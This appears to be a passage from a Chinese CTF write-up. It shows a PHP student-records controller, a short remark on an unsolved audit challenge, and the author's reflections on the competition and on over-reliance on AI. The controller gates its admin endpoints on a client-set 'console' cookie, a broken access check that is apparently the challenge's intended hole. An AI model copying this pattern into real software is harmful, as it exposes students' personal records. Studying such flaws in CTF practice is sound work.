'teacher' => (string)$course['teacher_name'],
];
}
ksort($days);
return ['ok' => true, 'term' => $term, 'days' => $days];
}

/**
* 修改密码。
*/
public function actionUpdatePassword()
{
if (!$this->request->isPost()) {
throw new BadRequestHttpException('请求方式错误');
}
$student = $this->currentStudent();
$oldPassword = (string)$this->request->post('oldPassword', '');
$newPassword = (string)$this->request->post('newPassword', '');
if (!$student->verifyPassword($oldPassword)) {
throw new BadRequestHttpException('原密码不正确');
}
if (strlen($newPassword) < 6) {
throw new BadRequestHttpException('新密码长度不能少于 6 位');
}
$student->updateAttributes(['password' => Student::hashPassword($newPassword)]);
return ['ok' => true];
}

// ==================== 管理端 ====================

/**
* 学生名单(分页)。
*/
public function actionGetStudents4Admin()
{
$this->assertConsole(self::CONSOLE_ADMIN);

$page = max(1, (int)$this->request->get('page', 1));
$size = (int)$this->request->get('size', 20);
$size = $size < 10 ? 20 : min(100, $size);
$keyword = trim((string)$this->request->get('keyword', ''));
$classId = (int)$this->request->get('classId', 0);

$result = Student::page($page, $size, $keyword, $classId);
$result['page'] = $page;
$result['size'] = $size;
return ['ok' => true] + $result;
}

/**
* 学生档案详情。
*/
public function actionGetInfo4Admin()
{
$this->assertConsole(self::CONSOLE_ADMIN);

$student = $this->findStudentByUid((string)$this->request->get('uid', ''));
return ['ok' => true, 'student' => $student->profile()];
}

/**
* 学生头像(档案照片或占位图)。
*/
public function actionGetAvatar4Admin()
{
$this->assertConsole(self::CONSOLE_ADMIN);

$student = $this->findStudentByUid((string)$this->request->get('uid', ''));
return $this->avatarOf($student);
}

/**
* 系统更新日志。
*/
public function actionGetUpdateLog4Admin()
{
$this->assertConsole(self::CONSOLE_ADMIN);

$path = $this->getParam('dataPath') . '/update.log';
$entries = [];
$lines = is_file($path) ? file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
foreach (array_reverse($lines) as $line) {
if (preg_match('/^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) \[(\w+)\] (.+)$/u', $line, $matches) !== 1) {
continue;
}
$entries[] = [
'time' => $matches[1],
'level' => $matches[2],
'message' => $matches[3],
];
}
return ['ok' => true, 'entries' => $entries, 'total' => count($entries)];
}

/**
* 数据统计。
*/
public function actionGetStats4Admin()
{
$this->assertConsole(self::CONSOLE_ADMIN);

$term = (string)$this->request->get('term', $this->getParam('currentTerm'));
$active = 0;
$byStatus = Student::countByStatus();
foreach ($byStatus as $row) {
if ((string)$row['status'] === '在读') {
$active = (int)$row['total'];
}
}
return [
'ok' => true,
'term' => $term,
'total' => Student::count(),
'active' => $active,
'byStatus' => $byStatus,
'byClass' => Student::countByClass(),
'courses' => Course::countByTerm($term),
];
}

// ==================== 内部方法 ====================

/**
* 当前控制台上下文:页面登录后由前端记录所在控制台,接口按上下文决定返回口径。
*/
protected function consoleContext()
{
$context = (string)$this->request->getCookie('console', '');
return $context === '' ? self::CONSOLE_STUDENT : $context;
}

/**
* 上下文校验:部分接口只在指定控制台开放。
*/
protected function assertConsole($context)
{
if ($this->consoleContext() !== (string)$context) {
throw new ForbiddenHttpException('当前界面不支持该操作');
}
}

/**
* 当前会话对应的学生档案。
*
* @return Student
*/
protected function currentStudent()
{
$identity = $this->identity;
if ($identity === null || $identity['role'] !== Role::STUDENT) {
throw new ForbiddenHttpException('该接口仅供学生账号使用');
}
$student = Student::findOne(['id' => (int)$identity['id']]);
if ($student === null) {
throw new NotFoundHttpException('学生档案不存在');
}
return $student;
}

/**
* 按 uid 取学生档案。
*
* @return Student
*/
protected function findStudentByUid($uid)
{
if ($uid === '' || ctype_digit($uid) === false) {
throw new BadRequestHttpException('uid 参数不合法');
}
$student = Student::findOne(['id' => (int)$uid]);
if ($student === null) {
throw new NotFoundHttpException('学生档案不存在');
}
return $student;
}

/**
* 头像响应:已导入照片的学生读档案照片,其余按学号生成占位头像。
*
* @return BinaryResponse
*/
protected function avatarOf(Student $student)
{
$photo = (string)$student->photo;
if ($photo !== '') {
$path = $this->getParam('dataPath') . '/avatars/' . basename($photo);
if (is_file($path)) {
return new BinaryResponse((string)file_get_contents($path), $this->mimeTypeOf($path));
}
}
$stuNo = (string)$student->stu_no;
return new BinaryResponse(AvatarRenderer::render($stuNo, $stuNo, (string)$student->photo_caption), 'image/png');
}

/**
* 按扩展名判断内容类型。
*/
protected function mimeTypeOf($path)
{
$extension = strtolower((string)pathinfo($path, PATHINFO_EXTENSION));
$map = [
'png' => 'image/png',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'gif' => 'image/gif',
];
return isset($map[$extension]) ? $map[$extension] : 'application/octet-stream';
}
}

中转审计台-bigtoken_attachment

不知道怎么修复,我思考了下觉得这个题目应该是先攻击再修复,通过攻击读取到app.py,然后dump下来修复漏洞。

我没有拿到app.py,但是漏洞就是上面写的attack呢。

结语

这是我的最后一届省赛了,去年也是差不多的名次,拿的二等奖。。去年拿到二等奖的我还很开心,今年只剩下失望和不甘了。归结下来还是自己的原因。但是学弟们的表现超乎我的预期,很高兴看到他们拿到好名次,希望实验室和学弟学妹们越来越好。

说点其他的吧,我一直都觉得ai只是辅助,到现在也是,完全用ai辅助解出来的题根本是没有任何收获的。。。前段时间自己内心浮躁不安,某网杯通宵了过后更是无力。对CTF可以说是95%的失望了,剩下的只剩下情怀。

但是想对以后学ctf的ctfer说,你们还有时间,自己用心复现的收获完全不同,不要太依赖ai,它的东西真的不是你的。特别是当我复现完这次比赛。我真的实打实学到了东西不是吗。

结果重要,过程难道就不重要了吗?